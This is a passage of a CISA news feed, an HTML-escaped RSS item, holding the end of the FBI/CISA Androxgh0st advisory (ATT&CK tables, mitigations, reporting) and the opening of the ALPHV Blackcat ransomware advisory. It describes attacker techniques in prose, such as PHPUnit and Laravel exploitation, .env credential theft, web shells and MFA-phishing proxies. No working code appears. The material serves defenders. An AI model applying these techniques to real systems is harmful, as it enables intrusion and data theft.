  4731. &lt;/table&gt;
  4732. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4733. &lt;caption&gt;&lt;em&gt;Table 3: Initial Access&lt;/em&gt;&lt;/caption&gt;
  4734. &lt;thead&gt;
  4735. &lt;tr&gt;
  4736. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4737. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4738. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4739. &lt;/tr&gt;
  4740. &lt;/thead&gt;
  4741. &lt;tbody&gt;
  4742. &lt;tr&gt;
  4743. &lt;td&gt;Exploit Public-Facing Application&lt;/td&gt;
  4744. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;&lt;/td&gt;
  4745. &lt;td&gt;The threat actor exploits &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-9841"&gt;CVE-2017-9841&lt;/a&gt; to remotely run hypertext preprocessor (PHP) code on websites via PHPUnit.&lt;/td&gt;
  4746. &lt;/tr&gt;
  4747. &lt;/tbody&gt;
  4748. &lt;/table&gt;
  4749. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4750. &lt;caption&gt;&lt;em&gt;Table 4: Execution&lt;/em&gt;&lt;/caption&gt;
  4751. &lt;thead&gt;
  4752. &lt;tr&gt;
  4753. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4754. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4755. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4756. &lt;/tr&gt;
  4757. &lt;/thead&gt;
  4758. &lt;tbody&gt;
  4759. &lt;tr&gt;
  4760. &lt;td&gt;Command and Scripting Interpreter: Python&lt;/td&gt;
  4761. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/006/" title="Command and Scripting Interpreter: Python"&gt;T1059.006&lt;/a&gt;&lt;/td&gt;
  4762. &lt;td&gt;The threat actor uses Androxgh0st, a Python-scripted malware, to target victim files.&lt;/td&gt;
  4763. &lt;/tr&gt;
  4764. &lt;/tbody&gt;
  4765. &lt;/table&gt;
  4766. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4767. &lt;caption&gt;&lt;em&gt;Table 5: Persistence&lt;/em&gt;&lt;/caption&gt;
  4768. &lt;thead&gt;
  4769. &lt;tr&gt;
  4770. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4771. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4772. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4773. &lt;/tr&gt;
  4774. &lt;/thead&gt;
  4775. &lt;tbody&gt;
  4776. &lt;tr&gt;
  4777. &lt;td&gt;Valid Accounts&lt;/td&gt;
  4778. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/td&gt;
  4779. &lt;td&gt;The threat actor abuses the simple mail transfer protocol (SMTP) by exploiting exposed credentials.&lt;/td&gt;
  4780. &lt;/tr&gt;
  4781. &lt;tr&gt;
  4782. &lt;td&gt;Server Software Component: Web Shell&lt;/td&gt;
  4783. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1505/003/" title="Server Software Component: Web Shell"&gt;T1505.003&lt;/a&gt;&lt;/td&gt;
  4784. &lt;td&gt;The threat actor deploys web shells to maintain persistent access to systems.&lt;/td&gt;
  4785. &lt;/tr&gt;
  4786. &lt;tr&gt;
  4787. &lt;td&gt;Create Account&lt;/td&gt;
  4788. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1136/" title="Create Account"&gt;T1136&lt;/a&gt;&lt;/td&gt;
  4789. &lt;td&gt;The threat actor attempts to create new users and user policies with compromised AWS credentials from a vulnerable website.&lt;/td&gt;
  4790. &lt;/tr&gt;
  4791. &lt;/tbody&gt;
  4792. &lt;/table&gt;
  4793. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4794. &lt;caption&gt;&lt;em&gt;Table 6: Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  4795. &lt;thead&gt;
  4796. &lt;tr&gt;
  4797. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4798. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4799. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4800. &lt;/tr&gt;
  4801. &lt;/thead&gt;
  4802. &lt;tbody&gt;
  4803. &lt;tr&gt;
  4804. &lt;td&gt;Obfuscated Files or Information: Command Obfuscation&lt;/td&gt;
  4805. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/010/" title="Obfuscated Files or Information: Command Obfuscation"&gt;T1027.010&lt;/a&gt;&lt;/td&gt;
  4806. &lt;td&gt;The threat actor can exploit a successfully identified Laravel application key to encrypt PHP code, which is then passed to the site as a value in the XSRF-TOKEN cookie.&lt;/td&gt;
  4807. &lt;/tr&gt;
  4808. &lt;/tbody&gt;
  4809. &lt;/table&gt;
  4810. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4811. &lt;caption&gt;&lt;em&gt;Table 7: Credential Access&lt;/em&gt;&lt;/caption&gt;
  4812. &lt;thead&gt;
  4813. &lt;tr&gt;
  4814. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4815. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4816. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4817. &lt;/tr&gt;
  4818. &lt;/thead&gt;
  4819. &lt;tbody&gt;
  4820. &lt;tr&gt;
  4821. &lt;td&gt;Credential Access&lt;/td&gt;
  4822. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v13/tactics/TA0006/" title="Credential Access"&gt;TA0006&lt;/a&gt;&lt;/td&gt;
  4823. &lt;td&gt;The threat actor can access the application key of the Laravel application on the site.&lt;/td&gt;
  4824. &lt;/tr&gt;
  4825. &lt;tr&gt;
  4826. &lt;td&gt;Unsecured Credentials: Credentials in Files&lt;/td&gt;
  4827. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/001/" title="Unsecured Credentials: Credentials in Files"&gt;T1552.001&lt;/a&gt;&lt;/td&gt;
  4828. &lt;td&gt;The threat actor targets .env files that contain confidential credential information.&lt;/td&gt;
  4829. &lt;/tr&gt;
  4830. &lt;/tbody&gt;
  4831. &lt;/table&gt;
  4832. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4833. &lt;caption&gt;&lt;em&gt;Table 8: Discovery&lt;/em&gt;&lt;/caption&gt;
  4834. &lt;thead&gt;
  4835. &lt;tr&gt;
  4836. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4837. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4838. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4839. &lt;/tr&gt;
  4840. &lt;/thead&gt;
  4841. &lt;tbody&gt;
  4842. &lt;tr&gt;
  4843. &lt;td&gt;File and Directory Discovery&lt;/td&gt;
  4844. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v13/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;&lt;/td&gt;
  4845. &lt;td&gt;The threat actor can identify URLs for files outside root directory through a path traversal attack.&lt;/td&gt;
  4846. &lt;/tr&gt;
  4847. &lt;tr&gt;
  4848. &lt;td&gt;Network Service Discovery&lt;/td&gt;
  4849. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;&lt;/td&gt;
  4850. &lt;td&gt;The threat actor uses Androxgh0st to abuse simple mail transfer protocol (SMTP) via scanning.&lt;/td&gt;
  4851. &lt;/tr&gt;
  4852. &lt;/tbody&gt;
  4853. &lt;/table&gt;
  4854. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4855. &lt;caption&gt;&lt;em&gt;Table 9: Collection&lt;/em&gt;&lt;/caption&gt;
  4856. &lt;thead&gt;
  4857. &lt;tr&gt;
  4858. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4859. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4860. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4861. &lt;/tr&gt;
  4862. &lt;/thead&gt;
  4863. &lt;tbody&gt;
  4864. &lt;tr&gt;
  4865. &lt;td&gt;Email Collection&lt;/td&gt;
  4866. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1114/" title="Email Collection"&gt;T1114&lt;/a&gt;&lt;/td&gt;
  4867. &lt;td&gt;The threat actor interacts with application programming interfaces (APIs) to gather information.&lt;/td&gt;
  4868. &lt;/tr&gt;
  4869. &lt;/tbody&gt;
  4870. &lt;/table&gt;
  4871. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4872. &lt;caption&gt;&lt;em&gt;Table 10: Command and Control&lt;/em&gt;&lt;/caption&gt;
  4873. &lt;thead&gt;
  4874. &lt;tr&gt;
  4875. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4876. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4877. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4878. &lt;/tr&gt;
  4879. &lt;/thead&gt;
  4880. &lt;tbody&gt;
  4881. &lt;tr&gt;
  4882. &lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
  4883. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;&lt;/td&gt;
  4884. &lt;td&gt;The threat actor runs PHP code through a POST request to download malicious files to the system hosting the website.&lt;/td&gt;
  4885. &lt;/tr&gt;
  4886. &lt;/tbody&gt;
  4887. &lt;/table&gt;
  4888. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  4889. &lt;p&gt;The FBI and CISA recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  4890. &lt;p&gt;These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers’ security posture. For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" target="_blank" title="Secure by Design"&gt;Secure by Design&lt;/a&gt; webpage.&lt;/p&gt;
  4891. &lt;p&gt;The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.&lt;/p&gt;
  4892. &lt;ul&gt;
  4893. &lt;li&gt;&lt;strong&gt;Keep all operating systems, software, and firmware up to date. Specifically, ensure that Apache servers are not running versions 2.4.49 or 2.4.50.&lt;/strong&gt; Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;known exploited vulnerabilities&lt;/a&gt; in internet-facing systems.&lt;/li&gt;
  4894. &lt;li&gt;&lt;strong&gt;Verify that the default configuration for all URIs is to deny all requests&lt;/strong&gt; unless there is a specific need for it to be accessible.&lt;/li&gt;
  4895. &lt;li&gt;&lt;strong&gt;Ensure that any live Laravel applications are not in “debug” or testing mode. Remove all cloud credentials from &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;.env&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file.&lt;/strong&gt;&lt;/li&gt;
  4896. &lt;li&gt;&lt;strong&gt;On a one-time basis for previously stored cloud credentials, and on an on-going basis for other types of credentials that cannot be removed, review any platforms or services that have credentials listed in the &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;.env&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; file for unauthorized access or use.&lt;/strong&gt;&lt;/li&gt;
  4897. &lt;li&gt;&lt;strong&gt;Scan the server’s file system for unrecognized PHP files&lt;/strong&gt;, particularly in the root directory or &lt;code&gt;/vendor/phpunit/phpunit/src/Util/PHP&lt;/code&gt; folder.&lt;/li&gt;
  4898. &lt;li&gt;&lt;strong&gt;Review outgoing GET requests (via cURL command) to file hosting sites&lt;/strong&gt; such as GitHub, pastebin, etc., particularly when the request accesses a &lt;code&gt;.php&lt;/code&gt; file.&lt;/li&gt;
  4899. &lt;/ul&gt;
  4900. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  4901. &lt;p&gt;In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  4902. &lt;p&gt;To get started:&lt;/p&gt;
  4903. &lt;ol&gt;
  4904. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 1-10).&lt;/li&gt;
  4905. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  4906. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  4907. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  4908. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  4909. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  4910. &lt;/ol&gt;
  4911. &lt;p&gt;FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  4912. &lt;h3&gt;&lt;strong&gt;REPORTING&lt;/strong&gt;&lt;/h3&gt;
  4913. &lt;p&gt;The FBI encourages organizations to report information concerning suspicious or criminal activity to their &lt;a href="https://www.fbi.gov/contact-us/field-offices/" title="Field Offices"&gt;local FBI field office&lt;/a&gt;. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization’s complete security situation.&lt;/p&gt;
  4914. &lt;p&gt;When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI &lt;a href="https://www.ic3.gov/" title="Internet Crime Complaint Center (IC3)"&gt;Internet Crime Complaint Center (IC3)&lt;/a&gt;, a &lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;local FBI Field Office&lt;/a&gt;, or to CISA via its &lt;a href="https://www.cisa.gov/forms/report" title="Incident Reporting System"&gt;Incident Reporting System&lt;/a&gt; or its 24/7 Operations Center at &lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or by calling 1-844-Say-CISA (1-844-729-2472).&lt;/p&gt;
  4915. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  4916. &lt;ul&gt;
  4917. &lt;li&gt;&lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;CISA: Known Exploited Vulnerabilities Catalog&lt;/a&gt;&lt;/li&gt;
  4918. &lt;li&gt;&lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;CISA, MITRE: Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt;&lt;/li&gt;
  4919. &lt;li&gt;&lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;CISA: Decider Tool&lt;/a&gt;&lt;/li&gt;
  4920. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-9841" title="CVE-2017-9841"&gt;NIST: CVE-2017-9841&lt;/a&gt;&lt;/li&gt;
  4921. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2018-15133" title="CVE-2018-15133"&gt;NIST: CVE-2018-15133&lt;/a&gt;&lt;/li&gt;
  4922. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-41773" title="CVE-2021-41773"&gt;NIST: CVE-2021-41773&lt;/a&gt;&lt;/li&gt;
  4923. &lt;li&gt;&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CISA: Cross-Sector Cybersecurity Performance Goals&lt;/a&gt;&lt;/li&gt;
  4924. &lt;li&gt;&lt;a href="https://www.cisa.gov/securebydesign" target="_blank" title="Secure by Design"&gt;CISA: Secure by Design&lt;/a&gt;&lt;/li&gt;
  4925. &lt;/ul&gt;
  4926. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  4927. &lt;ol&gt;
  4928. &lt;li&gt;&lt;a href="https://fortiguard.fortinet.com/threat-signal-report/5066/androxgh0st-malware-actively-used-in-the-wild" title="AndroxGh0st Malware Actively Used in the Wild"&gt;Fortinet - FortiGuard Labs: Threat Signal Report: AndroxGh0st Malware Actively Used in the Wild&lt;/a&gt;&lt;/li&gt;
  4929. &lt;/ol&gt;
  4930. &lt;h3&gt;&lt;strong&gt;ACKNOWLEDGEMENTS&lt;/strong&gt;&lt;/h3&gt;
  4931. &lt;p&gt;Amazon contributed to this CSA.&lt;/p&gt;
  4932. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  4933. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.&lt;/p&gt;
  4934. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  4935. &lt;p&gt;January 16, 2024: Initial version.&lt;/p&gt;
  4936. </description>
  4937.  <pubDate>Fri, 12 Jan 2024 12:13:51 EST</pubDate>
  4938.    <dc:creator>CISA</dc:creator>
  4939.    <guid isPermaLink="false">/node/20718</guid>
  4940.    </item>
  4941. <item>
  4942.  <title>#StopRansomware: ALPHV Blackcat</title>
  4943.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-353a</link>
  4944.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  4945. &lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt;&lt;em&gt; This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit &lt;/em&gt;&lt;a href="https://www.cisa.gov/stopransomware" title="#StopRansomware"&gt;&lt;em&gt;stopransomware.gov&lt;/em&gt;&lt;/a&gt;&lt;em&gt; to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.&lt;/em&gt;&lt;/p&gt;
  4946. &lt;p&gt;The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA),&amp;nbsp;and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known IOCs and TTPs associated with the ALPHV Blackcat ransomware as a service (RaaS) identified through FBI investigations as recently as February 2024.&lt;/p&gt;
  4947. &lt;p&gt;This advisory provides updates to the FBI FLASH &lt;a href="https://www.ic3.gov/Media/News/2022/220420.pdf" title="BlackCat/ALPHV Ransomware Indicators of Compromise"&gt;BlackCat/ALPHV Ransomware Indicators of Compromise&lt;/a&gt; released April 19, 2022, and to this advisory released December 19, 2023. ALPHV Blackcat actors have since employed improvised communication methods by creating victim-specific emails to notify of the initial compromise. Since mid-December 2023, of the nearly 70 leaked victims, the healthcare sector has been the most commonly victimized. This is likely in response to the ALPHV Blackcat administrator’s post encouraging its affiliates to target hospitals after operational action against the group and its infrastructure in early December 2023.&lt;/p&gt;
  4948. &lt;p&gt;FBI, CISA, and HHS encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ALPHV Blackcat ransomware and data extortion incidents.&lt;/p&gt;
  4949. &lt;p&gt;In February 2023, ALPHV Blackcat administrators announced the ALPHV Blackcat Ransomware 2.0 Sphynx update, which was rewritten to provide additional features to affiliates, such as better defense evasion and additional tooling. This ALPHV Blackcat update has the capability to encrypt both Windows and Linux devices, and VMWare instances. ALPHV Blackcat affiliates have extensive networks and experience with ransomware and data extortion operations.&lt;/p&gt;
  4950. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  4951.  
  4952.  
  4953.  
  4954.  
  4955.  
  4956. &lt;div class="c-file"&gt;
  4957.    &lt;div class="c-file__download"&gt;
  4958.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-03/aa23-353a-stopransomware-alphv-blackcat-update_2.pdf" class="c-file__link" target="_blank"&gt;AA23-353A #StopRansomware: ALPHV Blackcat (Update)&lt;/a&gt;
  4959.    &lt;span class="c-file__size"&gt;(PDF,       578.24 KB
  4960.  )&lt;/span&gt;
  4961.  &lt;/div&gt;
  4962. &lt;/div&gt;
  4963. &lt;p&gt;For a downloadable copy of IOCs, see:&lt;/p&gt;
  4964.  
  4965.  
  4966.  
  4967.  
  4968.  
  4969. &lt;div class="c-file"&gt;
  4970.    &lt;div class="c-file__download"&gt;
  4971.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA23-353A.stix_.xml" class="c-file__link" target="_blank"&gt;AA23-353A STIX XML&lt;/a&gt;
  4972.    &lt;span class="c-file__size"&gt;(XML,       46.14 KB
  4973.  )&lt;/span&gt;
  4974.  &lt;/div&gt;
  4975. &lt;/div&gt;
  4976.  
  4977.  
  4978.  
  4979.  
  4980.  
  4981. &lt;div class="c-file"&gt;
  4982.    &lt;div class="c-file__download"&gt;
  4983.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA23-353A-StopRansomware-ALPHV-Blackcat.stix_.json" class="c-file__link" target="_blank"&gt;AA23-353A STIX JSON&lt;/a&gt;
  4984.    &lt;span class="c-file__size"&gt;(JSON,       32.93 KB
  4985.  )&lt;/span&gt;
  4986.  &lt;/div&gt;
  4987. &lt;/div&gt;
  4988. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  4989. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&amp;amp;CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  4990. &lt;p&gt;ALPHV Blackcat affiliates use advanced social engineering techniques and open source research on a company to gain initial access. Actors pose as company IT and/or helpdesk staff and use phone calls or SMS messages [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1598/" title="Phishing for Information"&gt;T1598&lt;/a&gt;] to obtain credentials from employees to access the target network [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1586/" title="Compromise Accounts"&gt;T1586&lt;/a&gt;]. ALPHV Blackcat affiliates use uniform resource locators (URLs) to live-chat with victims to convey demands and initiate processes to restore the victims’ encrypted files.&lt;/p&gt;
  4991. &lt;p&gt;After gaining access to a victim network, ALPHV Blackcat affiliates deploy remote access software such as AnyDesk, Mega sync, and Splashtop in preparation of data exfiltration. ALPHV Blackcat affiliates create a user account, “aadmin,” and use Kerberos token generation for domain access [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/" title="Steal or Forge Kerberos Tickets"&gt;T1558&lt;/a&gt;]. After gaining access to networks, they use legitimate remote access and tunneling tools, such as Plink and Ngrok [&lt;a href="https://attack.mitre.org/versions/v14/software/S0508/" title="ngrok"&gt;S0508&lt;/a&gt;]. ALPHV Blackcat affiliates claim to use Brute Ratel C4 [&lt;a href="https://attack.mitre.org/versions/v14/software/S1063/" title="Brute Ratel C4"&gt;S1063&lt;/a&gt;] and Cobalt Strike [&lt;a href="https://attack.mitre.org/versions/v14/software/S0154/" title="Cobalt Strike"&gt;S1054&lt;/a&gt;]&amp;nbsp;as beacons to command and control servers. ALPHV Blackcat affiliates use the open source adversary-in-the-middle attack [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/" title="Adversary-in-the-Middle"&gt;T1557&lt;/a&gt;] framework Evilginx2, which allows them to obtain multifactor authentication (MFA) credentials, login credentials, and session cookies. The actors also obtain passwords from the domain controller, local network, and deleted backup servers to move laterally throughout the network [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/" title="Credentials from Password Stores"&gt;T1555&lt;/a&gt;].&lt;/p&gt;
  4992. &lt;p&gt;To evade detection, affiliates employ allowlisted applications such as Metasploit. Once installed on the domain controller, the logs are cleared on the exchange server. Then Mega.nz or Dropbox are used to move, exfiltrate, and/or download victim data. The ransomware is then deployed, and the ransom note is embedded as a file.txt. According to public reporting, affiliates have additionally used POORTRY and STONESTOP to terminate security processes.&lt;/p&gt;
  4993. &lt;p&gt;Some ALPHV Blackcat affiliates exfiltrate data after gaining access and extort victims without deploying ransomware. After exfiltrating and/or encrypting data, ALPHV Blackcat affiliates communicate with victims via TOR [&lt;a href="https://attack.mitre.org/versions/v14/software/S0183/" title="Tor"&gt;S0183&lt;/a&gt;], Tox, email, or encrypted applications. The threat actors then delete victim data from the victim’s system.&lt;/p&gt;
  4994. &lt;p&gt;ALPHV Blackcat affiliates offer to provide unsolicited cyber remediation advice as an incentive for payment, offering to provide victims with “vulnerability reports” and “security recommendations” detailing how they penetrated the system and how to prevent future re-victimization upon receipt of ransom payment.&amp;nbsp;The ALPHV Blackcat encryptor results in a file with the following naming convention: RECOVER-(seven-digit extension) FILES.txt.&lt;/p&gt;
  4995.  
  4996.  
  4997.  
  4998. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  4999.  
  5000.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%201%20-%20Ransom%20Note%20Instruction.png?itok=nHWunuch" width="804" height="587" alt="Figure 1: Ransom Note Instruction"&gt;
  5001.  
  5002.  
  5003.  
  5004. &lt;/div&gt;
  5005.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 1: Ransom Note Instruction&lt;/em&gt;&lt;/figcaption&gt;
  5006.  &lt;/figure&gt;
  5007. &lt;h3&gt;&lt;strong&gt;INDICATORS OF COMPROMISE (IOCs)&lt;/strong&gt;&lt;/h3&gt;
